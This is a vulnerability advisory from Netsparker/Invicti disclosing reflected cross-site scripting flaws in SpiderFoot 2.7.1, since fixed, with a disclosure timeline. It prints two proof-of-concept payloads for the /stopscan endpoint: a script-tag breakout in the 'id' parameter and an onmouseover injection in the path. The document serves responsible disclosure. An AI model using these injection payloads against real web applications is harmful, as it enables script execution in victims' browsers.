Advisory by Netsparker (now Invicti)
Name: Multiple Reflected XSS Vulnerabilities in SpiderFoot
Affected Software: SpiderFoot
Affected Versions: 2.7.1
Vendor Homepage: 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-17-003

Technical Details

Proof of Concept URL for XSSes vulnerabilities in SpiderFoot;

URL /stopscan?id='"--></style></scRipt><scRipt>alert(0x00F93C)</scRipt>
Parameter Name id
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x00F93C)</scRipt>

URL /stopscan/'onmouseover='alert(0x00FA0E)
Parameter Name URI-BASED
Parameter Type Full URL
Attack Pattern /'onmouseover='alert(0x00FA0E)

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
18 Dec 2016 - Issue reported
30 Dec 2016 - Vendor fixed
24 Jan 2017 - Advisory released

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Credits & Authors
This issues has been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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